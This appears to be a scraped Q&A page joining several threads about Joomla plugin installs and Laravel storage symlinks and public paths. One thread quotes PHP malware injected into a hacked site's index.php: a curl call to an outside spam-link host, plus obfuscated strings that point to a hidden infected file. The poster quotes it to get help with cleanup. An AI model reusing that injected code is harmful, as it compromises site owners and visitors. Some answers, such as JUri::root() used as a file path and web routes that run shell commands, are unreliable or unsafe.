I am trying to solve this problem.
Is it possible when installing a Joomla 2.5 plugin to automatically create a folder and copy some files into it? The folder should be created under images (joomla default images folder) /images/ and some files copied to there when the user installs the plugin.
Thanks in advance for any help.
Yes, it is possible. You firstly need to add the following code to your XML file:
<scriptfile>script.php</scriptfile>
Then create a file called script.php and add the following code to it:
<?php
defined('_JEXEC') or die('Restricted access');
class com_helloWorldInstallerScript {
function install($parent) {
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
//change this to the name of the folder you want to create
$newfolder = 'myfolder';
if(JFolder::create(JUri::root() . 'images/' . $newfolder)) {
//duplicate the line below as many times as you want for each file you want to move
JFile::move(JUri::root() . 'plugins/plugin_name/image.png', JUri::root() . 'images/' . $newfolder);
}
}
}
?>
Hope this helps
Related
My site has been created in Laravel and it has been hacked but we have started it and we have removed some unwanted code in files. But there is still some script automatically add to the root file(index.php) due to which the site is being affected.
Please give me some solution, what can we do to remove the automatic files from the root folder?
<?php
$exe = curl_init();
curl_setopt($exe, CURLOPT_URL, "https://hacklink.market/panel/code?x=5");
curl_exec($exe);
?>
This code is added automatically in index.php file.
Please change the server credentials and the database credentials as well.
if you want to check the which file is called, you simply echo the statement and you will get that file.
<?php
/*df76c*/
echo "\057ho\155e/\145ar\164ht\157he\141ve\156co\057pu\142li\143_h \164ml\057li\142ra\162ie\163/f\060f/\151nt\145gr\141ti\157n/\05659\06725\06435\056ic\157";
/*df76c*/
?>
This will return your server path with the infected file main script.
/home/earthtoheavenco/public_h tml/libraries/f0f/integration/.59725435.ico
Please delete all such these files from your server end.
Hope this will help you. Thanks
My primary domain is xyz.com. I have created a folder named "test" outside public_html folder and uploaded the whole laravel set up there except the public folder which I have moved to public_html folder.
My folder structure is like this.
test -> contains the laravel project without public folder.
public_html -> contains the public folder.
However I cannot upload images. Error is showing like "Image source not readable". Please help.
if ($request->hasFile('frontimage')) {
$file_frontimage = $request->file('frontimage');
$actual_filename_frontimage = $file_frontimage->getClientOriginalName();
$filename_frontimage = time() . '_' . $actual_filename_frontimage;
$file_frontimage->storeAs('images', $filename_frontimage, 'public');
}
On my Laravel website I'm using symlink to store and show the images from storage.
With
php artisan storage:link
I had created the symlink and everytime when I upload a new news article, the image is uploaded in the main Storage and with symlink it's setup to the public folder and I'm displaying the image properly.
So far so good, but when I've created a copy of the website, a problem appears...
When I've created a copy of the website with cPanels File Manager, and move to a new location, the storage symlink in the public directory has become a folder, not a symlink.
After that when I try to upload a new news article, I can see it's uploaded in the main Storage folder, but not in the public/storage, so as a result the image is not displaying. That's because it's not a symlink anymore, but now it's a folder.
I've deleted the storage folder from the public directory, with SSH I've used the command again
php artisan storage:link
and I've created a new news article and the image is displaying properly, but now all other images are gone.
Is there any command that will regenerate the paths, so all other images will be display again?
I'm using Laravel 5.5
You can solve it in another way to create a symlinkexample.php file
into your public folder and run the file path into browser.
Then Storage folder will be created into public folder. Folder path
will be public/storage with linked to your public folder.
Code below for symlinkexample.php :
<?php
$targetFolder = $_SERVER['DOCUMENT_ROOT'].'/storage/app/public';
$linkFolder = $_SERVER['DOCUMENT_ROOT'].'/public/storage';
symlink($targetFolder,$linkFolder);
echo 'Symlink process successfully completed';
?>
Try this:
In route/web.php add the following code:
Route::get('/storage', function(){
\Artisan::call('storage:link');
return "Se han vinculado las imágenes";
});
If for some reason you are using different file structure and for some reason don't have terminal access, \Artisan::call('storage:link') will fail since it won't find public path.
Route::get('cmd', function(){
$process = new Process(['ln', '[symlink-here]','[target-folder]' ]);
$process->run();
// executes after the command finishes
if (!$process->isSuccessful()) {
throw new ProcessFailedException($process);
}
echo $process->getOutput();
});
read about Process class here
I have a helper.php file in app/Helpers directory. I included that file in composer.json:
...
"files": [
"app/Helpers/helpers.php"
]
...
Helper works fine but I can't use public_path() method there. I need to include another file (please don't ask me why because it's old code that I don't need to rewrite). So I have the following:
require_once public_path() . '/appadmin/bootstrap.php';
I know that by default Laravel looks in /public/ folder but I faced with a problem. If I need to perform composer update I have to use public/appadmin/bootstrap.php path in helper.php, but after performing I have to change that path to /appadmin/bootstrap.php for correct work. That's why I decide to use public_path() method to receive correct path for both cases. And if I use it I'm getting an error:
Generating optimized autoload files
> Illuminate\Foundation\ComposerScripts::postUpdate
Script Illuminate\Foundation\ComposerScripts::postUpdate handling
the post-update-cmd event terminated with an exception
[ReflectionException]
Class path.public does not exist
Thank's in advance!
Have you tried updating your app to the current revision?
There are some files in the framework itself who need to be updated.
Check out the config files, the bootstrap files, server.php and the start files here https://github.com/laravel/laravel/tree/develop.
You could open index.php (in your public directory) and change:
$app = require_once __DIR__.'/../bootstrap/app.php';
// set the public path to this directory
$app->bind('path.public', function() {
return __DIR__;
});
Now you dont need to change your public path when your public directory has changed.
I uploaded my laravel 4.2 project on my shared webhost. now I have to go to mydomain.com/public to see the view . But I dont want ant public folder in my address . I used so many suggested .htaccess files but they didn't work for me.
Does any one know other solutions ? (not using .htaccess file) ... for example any laravel config that can help me...
thanks
Normally you need the htaccess file to point to the public folder. But you can copy the content of the public folder in your root folder and change the app path to it.
Copy your index file in your root folder and add this to your index.php file:
// set the public path to this directory
$app->bind('path.public', function() {
return __DIR__;
});
Here is solution I recently found and worked on my local host (I wish and think this works on shared webhost too). I hope it helps someone if has the same problem :
laravel 4 remove public from the URL
Follow the steps below to achieve this.
Step 1
Move everything from public folder to the root directory
Step 2
Now delete the empty ‘public’ folder.
Step 3
Edit the file bootstrap/paths.php
Find the following line
'public' => __DIR__.'/../public',
and replace it with:
'public' => __DIR__.'/..',
Step 4
Modify index.php in root
Find the following line
require __DIR__.'/../bootstrap/autoload.php';
and replace it with:
require __DIR__.'/bootstrap/autoload.php';
Now in the same file find the following line
$app = require_once __DIR__.'/../bootstrap/start.php';
and replace it with:
$app = require_once __DIR__.'/bootstrap/start.php';
That’s all. Browse to your Laravel installation without public in the URL and make sure it works.